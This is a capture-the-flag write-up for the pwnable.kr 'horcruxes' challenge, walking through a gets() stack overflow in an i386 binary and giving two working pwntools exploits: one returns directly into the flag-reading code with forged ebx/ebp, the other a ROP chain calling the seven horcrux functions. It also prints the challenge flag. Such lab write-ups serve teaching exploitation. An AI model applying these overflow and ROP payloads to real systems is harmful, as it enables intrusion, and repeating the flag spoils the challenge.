Back to writeups

pwnable.kr: horcruxes writeup

📅 Feb 2026 🏆 7 points 📂 Toddler's Bottle
ROP buffer overflow seccomp i386

Challenge Description

We get the following hint:

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

Fun fact: even after finishing this challenge, I still can't pronounce "horcruxes" correctly.

Let's connect:

ssh horcruxes@pwnable.kr -p2222

In the home directory we see:

horcruxes  readme
horcruxes@ubuntu:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

Running checksec:

checksec --file=/home/horcruxes/horcruxes
[*] '/home/horcruxes/horcruxes'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8040000)
    Stripped:   No

No PIE and no stack canary, which is good for ROP.


Reverse Engineering

The binary doesn't come with source code, so I decompiled it. The main function sets up a seccomp sandbox and calls ropme():

int main(int argc, char *argv[]) {
    setvbuf(stdout, NULL, _IOLBF, 0);
    setvbuf(stdin, NULL, _IOLBF, 0);
    alarm(60);
    hint();
    init_ABCDEFG();

    // seccomp setup only allow: open, read, write, mprotect, exit_group, readlink
    seccomp_ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, 0x5, 0);    // open
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, 0x3, 0);    // read
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, 0x4, 0);    // write
    seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, 0xfc, 0);   // exit_group
    seccomp_load(seccomp_ctx);

    ropme();
    return 0;
}

Note that the seccomp filter means execve is blocked, so we can't just spawn a shell. We can only use open/read/write.

The ropme() function is vulnerable:

void ropme(void) {
    char buf[100];
    int input_char;
    int fd;

    printf("Select Menu:");
    scanf("%d", &input_char);
    getchar();

    if (input_char == a)      { A(); }
    else if (input_char == b) { B(); }
    else if (input_char == c) { C(); }
    else if (input_char == d) { D(); }
    else if (input_char == e) { E(); }
    else if (input_char == f) { F(); }
    else if (input_char == g) { G(); }
    else {
        printf("How many EXP did you earned? : ");
        gets(buf);
        if (atoi(buf) == sum) {
            fd = open("/home/horcruxes_pwn/flag", 0);
            read(fd, buf, 100);
            puts(buf);
            close(fd);
            exit(0);
        }
        puts("You'd better get more experience to kill Voldemort");
    }
    return;
}

Note:

  1. Overflow: gets(buf) on a 100-byte buffer with no bounds checking. There is no stack canary, so we can overflow the return address.
  2. Flag-reading code: If atoi(buf) == sum, the program opens and reads /home/horcruxes_pwn/flag. The sum variable is the sum of all seven random values assigned to the horcrux functions A through G.

How the Random Values Work

The init_ABCDEFG() function generates seven random values at startup using /dev/urandom as a seed:

void init_ABCDEFG() {
    int fd;
    unsigned int seed;

    fd = open("/dev/urandom", 0);
    read(fd, &seed, 4);
    close(fd);
    srand(seed);

    // generate random values for each horcrux
    value_A = rand() * 0xdeadbeef;
    // ... same for B through G

    sum = value_A + value_B + value_C + value_D + value_E + value_F + value_G;
}

Each horcrux function (A through G) prints its value and returns:

void A() {
    printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", value_A);
    return;
}

The values are randomized on each run and are not predictable in advance.


Finding the Overflow Offset

I sent a two concatenated cyclic patterns to the gets() call (one cyclic wasn't long enough to reach the return address):

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

The crash landed on:

Invalid address 0x67616161
EIP  0x67616161 ('aaag')

aaag is in the second copy of the cyclic pattern, which gives an offset of 121 bytes to the return address.

Now I just need to find where to jump.


Solution 1: Skip the Check

The first approach is to skip the sum comparison and jump directly to the flag-reading code at 0x08041625:

0x08041621 <+278>:   cmp    eax, edx           ; compare atoi(buf) with sum
0x08041623 <+280>:   jne    0x804167c          ; jump if not equal
0x08041625 <+282>:   sub    esp, 0x8           ; ← jump here to skip the check
0x08041628 <+285>:   push   0x0
0x0804162a <+287>:   lea    eax, [ebx-0x1e1c]  ; flag path
0x08041630 <+293>:   push   eax
0x08041631 <+294>:   call   0x80410f0 <open@plt>
...

Since PIE is disabled, the address of this code is fixed. I tried jumping to 0x08041625 (right after the cmp) with 121 bytes of padding:

[121 bytes padding] [return address]

It crashed because my cyclic pattern overwrote the flag path calculation. Looking at the registers, I noticed that ebx contained aabe, which pointed to the offset where ebx gets restored from the stack. Since ebx is used as the base register for position-independent references in the binary, including the flag path, it needs to be set to the correct value for the exploit to work.

To find the actual address of the flag string:

find 0x8040000, 0x8045000, "/home/horcruxes_pwn/flag"
> 0x8042174

But the code computes the flag location relative to ebx:

0x0804162a <+287>: lea eax, [ebx - 0x1e1c] ; "/home/horcruxes_pwn/flag"

So I need ebx = 0x8043f90, which gives 0x8043f90 - 0x1e1c = 0x8042174. Confirming in GDB:

pwndbg> x/s 0x8043f90-0x1e1c
0x8042174:      "/home/horcruxes_pwn/flag"

Now I sent this payload:

[113 bytes padding] [saved ebx (0x8043f90)] [4-bytes padding] [return address]

After the file is opened, the code reads its contents into a buffer at [ebp-0x74]. I accidentally overwrote ebp with my padding too, so I need to point it somewhere writable and large enough for the buffer.

Can't use the stack because of ASLR, but vmmap shows a writable section at a fixed address:

0x8044000 0x8045000 rw-p 1000 3000 horcruxes

Setting ebp to 0x8044200 puts the buffer (ebp-0x74 = 0x804418c) inside this region.

This is how the overflow would look like:

[112 bytes padding] [saved ebx (0x8043f90)] [saved ebp (0x8044200)] [return address]

Note: in the final payload the padding is 112 (not 113). In my earlier attempts I was also overwriting the "menu choice" value that gets read before gets(). In the final exploit I just send the menu number separately, so I don't need that extra byte.

The final exploit is:

from pwn import *

payload = cyclic(112)
payload += p32(0x8043f90)   # ebx → GOT base for flag path calculation
payload += p32(0x8044200)   # ebp → writable memory for read buffer
payload += p32(0x08041625)  # ret → skip the check, jump to open

r = remote('localhost', 9032)
r.recvuntil(b'Menu:')
r.sendline(b'5')            # pick an invalid option to reach gets()
r.recvuntil(b'EXP')

r.sendline(payload)
r.interactive()

Running it:

[+] Opening connection to localhost on port 9032: Done
[*] Switching to interactive mode
 did you earned? : You'd better get more experience to kill Voldemort
The_M4gic_sp3l1_is_Avada_Ked4vra

Yippy :)


Solution 2: Call All Horcruxes and Calculate the Sum

I also wanted to solve it as "intended", by calling the "gadgets" A through G using ROP. I would collect their printed values, then jump back to ropme() and give the correct sum.

Each function is at a known address:

Function Address
A 0x0804129d
B 0x080412cf
C 0x08041301
D 0x08041333
E 0x08041365
F 0x08041397
G 0x080413c9

Each function has a return statement, so I can build a ROP chain that calls all functions one by one. This ROP chain calls all seven, then returns to ropme (0x0804150b) to give us another chance to input the sum:

from pwn import *

payload = cyclic(120)
payload += p32(0x0804129d)  # A()
payload += p32(0x080412cf)  # B()
payload += p32(0x08041301)  # C()
payload += p32(0x08041333)  # D()
payload += p32(0x08041365)  # E()
payload += p32(0x08041397)  # F()
payload += p32(0x080413c9)  # G()
payload += p32(0x0804150b)  # ropme() - back to the menu

r = remote('localhost', 9032)
r.recvuntil(b'Menu:')
r.sendline(b'5')
r.recvuntil(b'EXP')

r.sendline(payload)
r.interactive()

All seven horcruxes print their values, then ropme() runs again. I select option 1 (which goes to the else branch), enter the sum and the program opens and prints the flag:

[+] Opening connection to localhost on port 9032: Done
[*] Switching to interactive mode
 did you earned? : You'd better get more experience to kill Voldemort
You found "Tom Riddle's Diary" (EXP +243946139)
You found "Marvolo Gaunt's Ring" (EXP +180857841)
You found "Helga Hufflepuff's Cup" (EXP +-1573891803)
You found "Salazar Slytherin's Locket" (EXP +1804907948)
You found "Rowena Ravenclaw's Diadem" (EXP +911663942)
You found "Nagini the Snake" (EXP +1321144592)
You found "Harry Potter" (EXP +-1268347992)
Select Menu:$ 1
How many EXP did you earned? : $ 1620280667
The_M4gic_sp3l1_is_Avada_Ked4vra

Yippy 2 :)

horcrux

Sources to learn ROP